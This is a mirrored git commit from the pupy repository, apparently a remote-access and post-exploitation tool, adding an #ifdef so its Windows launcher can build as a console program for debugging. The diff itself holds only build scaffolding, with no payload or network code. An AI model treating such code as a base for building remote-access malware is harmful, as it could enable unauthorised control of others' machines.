mirror of https://github.com/n1nj4sec/pupy.git
Ifdef for non-GUI app build (for debug only)
This commit is contained in:
parent
d61d94de47
commit
60729b5ccc
|
@ -11,6 +11,7 @@ void on_exit_session(void);
|
||||||
|
|
||||||
static BOOL on_exit_session_called = FALSE;
|
static BOOL on_exit_session_called = FALSE;
|
||||||
|
|
||||||
|
#ifdef HAVE_WINDOW
|
||||||
LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
switch (msg) {
|
switch (msg) {
|
||||||
|
@ -117,3 +118,9 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
#else
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
mainThread(NULL);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
Loading…
Reference in New Issue